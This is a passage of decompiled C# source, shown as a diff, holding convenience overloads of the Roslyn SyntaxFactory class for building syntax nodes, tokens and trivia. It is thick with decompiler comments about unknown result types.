public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolatedStringExpressionSyntax InterpolatedStringExpression(SyntaxToken stringStartToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return InterpolatedStringExpression(stringStartToken, Token(SyntaxKind.InterpolatedStringEndToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolatedStringExpressionSyntax InterpolatedStringExpression(SyntaxToken stringStartToken, SyntaxList contents) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return InterpolatedStringExpression(stringStartToken, contents, Token(SyntaxKind.InterpolatedStringEndToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LabeledStatementSyntax LabeledStatement(SyntaxToken identifier, SyntaxToken colonToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return LabeledStatement(default(SyntaxList), identifier, colonToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LiteralExpressionSyntax LiteralExpression(SyntaxKind kind) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return LiteralExpression(kind, Token(GetLiteralExpressionTokenKind(kind))); + } + + private static SyntaxKind GetLiteralExpressionTokenKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.ArgListExpression => SyntaxKind.ArgListKeyword, + SyntaxKind.NumericLiteralExpression => SyntaxKind.NumericLiteralToken, + SyntaxKind.StringLiteralExpression => SyntaxKind.StringLiteralToken, + SyntaxKind.Utf8StringLiteralExpression => SyntaxKind.Utf8StringLiteralToken, + SyntaxKind.CharacterLiteralExpression => SyntaxKind.CharacterLiteralToken, + SyntaxKind.TrueLiteralExpression => SyntaxKind.TrueKeyword, + SyntaxKind.FalseLiteralExpression => SyntaxKind.FalseKeyword, + SyntaxKind.NullLiteralExpression => SyntaxKind.NullKeyword, + SyntaxKind.DefaultLiteralExpression => SyntaxKind.DefaultKeyword, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalDeclarationStatementSyntax LocalDeclarationStatement(SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return LocalDeclarationStatement(default(SyntaxToken), default(SyntaxToken), modifiers, declaration, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalDeclarationStatementSyntax LocalDeclarationStatement(SyntaxToken awaitKeyword, SyntaxToken usingKeyword, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return LocalDeclarationStatement(default(SyntaxList), awaitKeyword, usingKeyword, modifiers, declaration, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalDeclarationStatementSyntax LocalDeclarationStatement(SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return LocalDeclarationStatement(default(SyntaxList), modifiers, declaration); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalFunctionStatementSyntax LocalFunctionStatement(SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxList constraintClauses, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + return LocalFunctionStatement(default(SyntaxList), modifiers, returnType, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalFunctionStatementSyntax LocalFunctionStatement(SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxList constraintClauses, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return LocalFunctionStatement(default(SyntaxList), modifiers, returnType, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LockStatementSyntax LockStatement(SyntaxToken lockKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return LockStatement(default(SyntaxList), lockKeyword, openParenToken, expression, closeParenToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MethodDeclarationSyntax MethodDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxList constraintClauses, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax body, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return MethodDeclaration(attributeLists, modifiers, returnType, explicitInterfaceSpecifier, identifier, typeParameterList, parameterList, constraintClauses, body, null, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NameColonSyntax NameColon(Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax name) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return NameColon(name, Token(SyntaxKind.ColonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NameColonSyntax NameColon(string name) + { + return NameColon(IdentifierName(name)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(SyntaxToken asyncKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxToken arrowToken, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedLambdaExpression(TokenList(asyncKeyword), parameterList, arrowToken, block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedLambdaExpression(default(SyntaxTokenList), parameterList, block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxToken arrowToken, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedLambdaExpression(default(SyntaxList), modifiers, null, parameterList, arrowToken, block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedLambdaExpression(default(SyntaxList), modifiers, parameterList, block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedLambdaExpression(attributeLists, modifiers, null, parameterList, block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax AccessorDeclaration(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return AccessorDeclaration(kind, default(SyntaxList), default(SyntaxTokenList), Token(GetAccessorDeclarationKeywordKind(kind)), body, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax RecordDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return RecordDeclaration(SyntaxKind.RecordDeclaration, attributeLists, modifiers, keyword, default(SyntaxToken), identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax RecordDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxList members) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = (SyntaxToken)((members.Count == 0) ? Token(SyntaxKind.SemicolonToken) : default(SyntaxToken)); + SyntaxToken openBraceToken = (SyntaxToken)((members.Count == 0) ? default(SyntaxToken) : Token(SyntaxKind.OpenBraceToken)); + SyntaxToken closeBraceToken = (SyntaxToken)((members.Count == 0) ? default(SyntaxToken) : Token(SyntaxKind.CloseBraceToken)); + return RecordDeclaration(SyntaxKind.RecordDeclaration, attributeLists, modifiers, keyword, default(SyntaxToken), identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax RecordDeclaration(SyntaxToken keyword, string identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return RecordDeclaration(keyword, Identifier(identifier)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax RecordDeclaration(SyntaxToken keyword, SyntaxToken identifier) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + return RecordDeclaration(SyntaxKind.RecordDeclaration, default(SyntaxList), default(SyntaxTokenList), keyword, default(SyntaxToken), identifier, null, null, null, default(SyntaxList), default(SyntaxToken), default(SyntaxList), default(SyntaxToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RefTypeSyntax RefType(SyntaxToken refKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return RefType(refKeyword, default(SyntaxToken), type); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ReturnStatementSyntax ReturnStatement(SyntaxToken returnKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return ReturnStatement(default(SyntaxList), returnKeyword, expression, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax SimpleLambdaExpression(SyntaxToken asyncKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax parameter, SyntaxToken arrowToken, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return SimpleLambdaExpression(default(SyntaxList), TokenList(asyncKeyword), parameter, arrowToken, block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax SimpleLambdaExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax parameter, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return SimpleLambdaExpression(default(SyntaxList), default(SyntaxTokenList), parameter, block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax SimpleLambdaExpression(SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax parameter, SyntaxToken arrowToken, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return SimpleLambdaExpression(default(SyntaxList), modifiers, parameter, arrowToken, block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax SimpleLambdaExpression(SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax parameter, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return SimpleLambdaExpression(default(SyntaxList), modifiers, parameter, block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StackAllocArrayCreationExpressionSyntax StackAllocArrayCreationExpression(SyntaxToken stackAllocKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return StackAllocArrayCreationExpression(stackAllocKeyword, type, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SubpatternSyntax Subpattern(Microsoft.CodeAnalysis.CSharp.Syntax.NameColonSyntax? nameColon, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern) + { + return Subpattern((Microsoft.CodeAnalysis.CSharp.Syntax.BaseExpressionColonSyntax?)nameColon, pattern); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchStatementSyntax SwitchStatement(SyntaxToken switchKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken, SyntaxToken openBraceToken, SyntaxList sections, SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return SwitchStatement(default(SyntaxList), switchKeyword, openParenToken, expression, closeParenToken, openBraceToken, sections, closeBraceToken); + } + + public static SyntaxTrivia EndOfLine(string text) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EndOfLine(text); + } + + public static SyntaxTrivia ElasticEndOfLine(string text) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EndOfLine(text, elastic: true); + } + + [Obsolete("Use SyntaxFactory.EndOfLine or SyntaxFactory.ElasticEndOfLine")] + [EditorBrowsable(EditorBrowsableState.Never)] + public static SyntaxTrivia EndOfLine(string text, bool elastic) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EndOfLine(text, elastic); + } + + public static SyntaxTrivia Whitespace(string text) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Whitespace(text); + } + + public static SyntaxTrivia ElasticWhitespace(string text) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Whitespace(text); + } + + [Obsolete("Use SyntaxFactory.Whitespace or SyntaxFactory.ElasticWhitespace")] + [EditorBrowsable(EditorBrowsableState.Never)] + public static SyntaxTrivia Whitespace(string text, bool elastic) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Whitespace(text, elastic); + } + + public static SyntaxTrivia Comment(string text) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Comment(text); + } + + public static SyntaxTrivia DisabledText(string text) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DisabledText(text); + } + + public static SyntaxTrivia PreprocessingMessage(string text) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PreprocessingMessage(text); + } + + public static SyntaxTrivia SyntaxTrivia(SyntaxKind kind, string text) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (text == null) + { + throw new ArgumentNullException("text"); + } + if (kind - 8539 <= (SyntaxKind)4 || kind == SyntaxKind.DisabledTextTrivia) + { + SyntaxToken val = default(SyntaxToken); + return new SyntaxTrivia(ref val, (GreenNode)(object)new SyntaxTrivia(kind, text), 0, 0); + } + throw new ArgumentException("kind"); + } + + public static SyntaxToken Token(SyntaxKind kind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Token(underlyingNode, kind, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Token(SyntaxTriviaList leading, SyntaxKind kind, SyntaxTriviaList trailing) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Token(((SyntaxTriviaList)(ref leading)).Node, kind, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Token(SyntaxTriviaList leading, SyntaxKind kind, string text, string valueText, SyntaxTriviaList trailing) + { + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + switch (kind) + { + case SyntaxKind.IdentifierToken: + throw new ArgumentException(CSharpResources.UseVerbatimIdentifier, "kind"); + case SyntaxKind.CharacterLiteralToken: + throw new ArgumentException(CSharpResources.UseLiteralForTokens, "kind"); + case SyntaxKind.NumericLiteralToken: + throw new ArgumentException(CSharpResources.UseLiteralForNumeric, "kind"); + default: + if (!SyntaxFacts.IsAnyToken(kind)) + { + throw new ArgumentException(string.Format(CSharpResources.ThisMethodCanOnlyBeUsedToCreateTokens, kind), "kind"); + } + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Token(((SyntaxTriviaList)(ref leading)).Node, kind, text, valueText, ((SyntaxTriviaList)(ref trailing)).Node)); + } + } + + public static SyntaxToken MissingToken(SyntaxKind kind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.MissingToken(underlyingNode, kind, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken MissingToken(SyntaxTriviaList leading, SyntaxKind kind, SyntaxTriviaList trailing) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.MissingToken(((SyntaxTriviaList)(ref leading)).Node, kind, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Identifier(string text) + { + //IL_0000: Unknown result type (might be due to invalid IL or 